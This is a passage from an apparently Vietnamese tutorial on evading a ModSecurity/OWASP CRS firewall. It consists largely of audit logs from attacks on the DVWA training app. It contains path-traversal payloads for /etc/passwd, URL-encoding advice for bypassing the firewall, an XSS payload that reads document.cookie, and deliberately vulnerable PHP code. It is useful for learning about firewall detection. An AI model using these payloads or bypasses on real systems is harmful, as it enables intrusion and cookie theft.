Message: Warning. Pattern match "(?i)(?:\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "47"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /DVWA/vulnerabilities/fi/?page=../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"]
Message: Warning. Pattern match "(?i)(?:\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:page. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "47"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: ../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"]
Message: Warning. Pattern match "(?:^|[\\/])\\.\\.(?:[\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "71"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /DVWA/vulnerabilities/fi/?page=../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"]
Message: Warning. Pattern match "(?:^|[\\/])\\.\\.(?:[\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "71"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"]
Message: Warning. Pattern match "(?:^|[\\/])\\.\\.(?:[\\/]|$)" at ARGS:page. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "71"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"]
Message: Warning. Pattern match "(?:^|[\\/])\\.\\.(?:[\\/]|$)" at ARGS:page. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "71"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"]
Message: Warning. Matched phrase "etc/passwd" at ARGS:page. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "97"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:page: ../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"]
Message: Warning. Matched phrase "etc/passwd" at ARGS:page. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "500"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:page: ../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"]
Message: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 43)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"]
Message: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 43 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 43, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "VICTIM_IP"] [severity "WARNING"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/fi/"] [unique_id "ZnPoj6IdlbwW3kre-lJF8AAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Pattern match "(?i)(?:\\\\\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "47"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /DVWA/vulnerabilities/fi/?page=../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/fi/"] [unique_id "ZnPoj6IdlbwW3kre-lJF8AAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Pattern match "(?i)(?:\\\\\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:page. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "47"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: ../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/fi/"] [unique_id "ZnPoj6IdlbwW3kre-lJF8AAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Pattern match "(?:^|[\\\\\\\\/])\\\\\\\\.\\\\\\\\.(?:[\\\\\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "71"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /DVWA/vulnerabilities/fi/?page=../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/fi/"] [unique_id "ZnPoj6IdlbwW3kre-lJF8AAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Pattern match "(?:^|[\\\\\\\\/])\\\\\\\\.\\\\\\\\.(?:[\\\\\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "71"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/fi/"] [unique_id "ZnPoj6IdlbwW3kre-lJF8AAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Pattern match "(?:^|[\\\\\\\\/])\\\\\\\\.\\\\\\\\.(?:[\\\\\\\\/]|$)" at ARGS:page. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "71"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/fi/"] [unique_id "ZnPoj6IdlbwW3kre-lJF8AAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Pattern match "(?:^|[\\\\\\\\/])\\\\\\\\.\\\\\\\\.(?:[\\\\\\\\/]|$)" at ARGS:page. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "71"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/fi/"] [unique_id "ZnPoj6IdlbwW3kre-lJF8AAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:page. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "97"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:page: ../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/fi/"] [unique_id "ZnPoj6IdlbwW3kre-lJF8AAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:page. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "500"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:page: ../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/fi/"] [unique_id "ZnPoj6IdlbwW3kre-lJF8AAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 43)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/fi/"] [unique_id "ZnPoj6IdlbwW3kre-lJF8AAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 43 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 43, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/fi/"] [unique_id "ZnPoj6IdlbwW3kre-lJF8AAAAAI"]
Action: Intercepted (phase 2)
Stopwatch: 1718872207342415 2071 (- - -)
Stopwatch2: 1718872207342415 2071; combined=1630, p1=360, p2=1172, p3=0, p4=0, p5=98, sr=72, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.5 (http://www.modsecurity.org/); OWASP_CRS/3.3.2.
Server: Apache/2.4.52 (Ubuntu)
Engine-Mode: "ENABLED"

--023cda21-Z--

Bypass

Giả sử chúng ta đang cố gắng truy cập một file nhạy cảm trong thư mục /opt.

Sử dụng các request sau, chúng ta thấy rằng truy cập bị chặn:

?page=/opt/sensitive_file
?page=../../../../../../opt/sensitive_file

Cả hai cách tiếp cận đều không cung cấp quyền truy cập.

Trong tình huống này, chúng ta cần thử các kết hợp khác nhau để bypass bộ lọc của WAF. Ví dụ, thay thế ký tự / bằng \ có thể giúp ích, nhưng trong nhiều trường hợp, mã hóa URL có thể bypass bộ lọc một cách hiệu quả.

Bằng cách mã hóa URL đường dẫn, chúng ta có thể bypass bộ lọc WAF:

?page=%2Fopt%2Fsensitive%5Ffile

VI.Cross-Site Scripting (XSS)

XSS là một cuộc tấn công khai thác lỗ hổng bảo mật trong ứng dụng web, cho phép kẻ tấn công thực thi mã độc hại trong trình duyệt của người dùng khác. Mã này thường ở dạng JavaScript và có thể được sử dụng cho nhiều mục đích khác nhau như đánh cắp session cookie, thay đổi giao diện của trang web, hoặc tải malware xuống máy tính của người dùng.

Các Loại Tấn Công XSS:

Reflected XSS: Kẻ tấn công gửi mã độc hại đến ứng dụng web thông qua URL hoặc dữ liệu form. Ứng dụng phản chiếu mã này trở lại trình duyệt của người dùng mà không có lọc hoặc sanitize đúng cách, và mã được thực thi trong trình duyệt của người dùng.

Stored XSS: Kẻ tấn công đặt mã độc hại vĩnh viễn vào cơ sở dữ liệu của ứng dụng web hoặc khu vực lưu trữ khác. Mã này được include trong các trang được xem bởi người dùng khác và được thực thi trong trình duyệt của những người dùng đó.

DOM Based XSS: Kẻ tấn công chèn mã độc hại vào DOM (Document Object Model) của trang web thông qua mã JavaScript phía client. Mã này được kích hoạt trong quá trình tương tác của người dùng hoặc tải trang và được thực thi trong trình duyệt của người dùng.

Hậu Quả của Tấn Công XSS:

  • Đánh Cắp Session Cookie: Kẻ tấn công đánh cắp session cookie của người dùng, cho phép họ chiếm đoạt tài khoản người dùng và mạo danh người dùng.
  • Tải Malware: Kẻ tấn công có thể tải phần mềm độc hại xuống máy tính của người dùng.
  • Thay Đổi hoặc Xóa Dữ Liệu: Kẻ tấn công có thể sửa đổi hoặc xóa dữ liệu trong ứng dụng web.
  • Kiểm Soát Trình Duyệt của Người Dùng: Kẻ tấn công có thể kiểm soát trình duyệt của người dùng, thực hiện các hành động khác nhau thay mặt người dùng.

Ví dụ, mã nguồn Reflected XSS chạy trên DVWA như sau:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Feedback for end user
        $html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

Nếu chúng ta muốn sử dụng một function như onmouseover mà không có WAF, không có vấn đề gì:

<a onmouseover=alert(document.cookie)>xss link</a>

WAF Phát Hiện

--ef51fc35-A--
[20/Jun/2024:08:29:09.742174 +0000] ZnPoVXd3yPqHxvRTqwtXAAAAAAQ ATTACKER_IP 54152 VICTIM_IP 80
--ef51fc35-B--
GET /DVWA/vulnerabilities/xss_r/?name=%3Ca+onmouseover%3Dalert%28document.cookie%29%3Exxs+link%3C%2Fa%3E HTTP/1.1
Host: VICTIM_IP
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://VICTIM_IP/DVWA/vulnerabilities/xss_r/
Cookie: security=low; PHPSESSID=mkir9lhmrjcnhd7fvbfkjvrtgr
Upgrade-Insecure-Requests: 1

--ef51fc35-F--
HTTP/1.1 403 Forbidden
Content-Length: 279
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1

--ef51fc35-E--
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.52 (Ubuntu) Server at VICTIM_IP Port 80</address>
</body></html>

--ef51fc35-H--
Message: Warning. Pattern match "^[\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "VICTIM_IP"] [severity "WARNING"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"]
Message: Warning. detected XSS using libinjection. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "55"] [id "941100"] [msg "XSS Attack Detected via libinjection"] [data "Matched Data: XSS data found within ARGS:name: <a onmouseover=alert(document.cookie)>xxs link</a>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"]
Message: Warning. Pattern match "(?i)[\\s\"'`;\\/0-9=\\x0B\\x09\\x0C\\x3B\\x2C\\x28\\x3B]on[a-zA-Z]+[\\s\\x0B\\x09\\x0C\\x3B\\x2C\\x28\\x3B]*?=" at ARGS:name. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "108"] [id "941120"] [msg "XSS Filter - Category 2: Event Handler Vector"] [data "Matched Data:  onmouseover= found within ARGS:name: <a onmouseover=alert(document.cookie)>xxs link</a>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"]
Message: Warning. Pattern match "(?i:(?:<\\w[\\s\\S]*[\\s\\/]|['\"](?:[\\s\\S]*[\\s\\/])?)(?:on(?:d(?:e(?:vice(?:(?:orienta|mo)tion|proximity|found|light)|livery(?:success|error)|activate)|r(?:ag(?:e(?:n(?:ter|d)|xit)|(?:gestur|leav)e|start|drop|over)|op)|i(?:s(?:c(?:hargingtimechange ..." at ARGS:name. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "199"] [id "941160"] [msg "NoScript XSS InjectionChecker: HTML Injection"] [data "Matched Data: <a onmouseover= found within ARGS:name: <a onmouseover=alert(document.cookie)>xxs link</a>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"]
Message: Warning. Matched phrase "document.cookie" at ARGS:name. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "250"] [id "941180"] [msg "Node-Validator Blacklist Keywords"] [data "Matched Data: document.cookie found within ARGS:name: <a onmouseover=alert(document.cookie)>xxs link</a>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"]
Message: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 23)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"]
Message: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 23 - SQLI=0,XSS=20,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 23, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "VICTIM_IP"] [severity "WARNING"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/xss_r/"] [unique_id "ZnPoVXd3yPqHxvRTqwtXAAAAAAQ"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. detected XSS using libinjection. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "55"] [id "941100"] [msg "XSS Attack Detected via libinjection"] [data "Matched Data: XSS data found within ARGS:name: <a onmouseover=alert(document.cookie)>xxs link</a>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/xss_r/"] [unique_id "ZnPoVXd3yPqHxvRTqwtXAAAAAAQ"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Pattern match "(?i)[\\\\\\\\s\\\\"'`;\\\\\\\\/0-9=\\\\\\\\x0B\\\\\\\\x09\\\\\\\\x0C\\\\\\\\x3B\\\\\\\\x2C\\\\\\\\x28\\\\\\\\x3B]on[a-zA-Z]+[\\\\\\\\s\\\\\\\\x0B\\\\\\\\x09\\\\\\\\x0C\\\\\\\\x3B\\\\\\\\x2C\\\\\\\\x28\\\\\\\\x3B]*?=" at ARGS:name. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "108"] [id "941120"] [msg "XSS Filter - Category 2: Event Handler Vector"] [data "Matched Data:  onmouseover= found within ARGS:name: <a onmouseover=alert(document.cookie)>xxs link</a>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/xss_r/"] [unique_id "ZnPoVXd3yPqHxvRTqwtXAAAAAAQ"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Pattern match "(?i:(?:<\\\\\\\\w[\\\\\\\\s\\\\\\\\S]*[\\\\\\\\s\\\\\\\\/]|['\\\\"](?:[\\\\\\\\s\\\\\\\\S]*[\\\\\\\\s\\\\\\\\/])?)(?:on(?:d(?:e(?:vice(?:(?:orienta|mo)tion|proximity|found|light)|livery(?:success|error)|activate)|r(?:ag(?:e(?:n(?:ter|d)|xit)|(?:gestur|leav)e|start|drop|over)|op)|i(?:s(?:c(?:hargingtimechange ..." at ARGS:name. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "199"] [id "941160"] [msg "NoScript XSS InjectionChecker: HTML Injection"] [data "Matched Data: <a onmouseover= found within ARGS:name: <a onmouseover=alert(document.cookie)>xxs link</a>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/xss_r/"] [unique_id "ZnPoVXd3yPqHxvRTqwtXAAAAAAQ"]
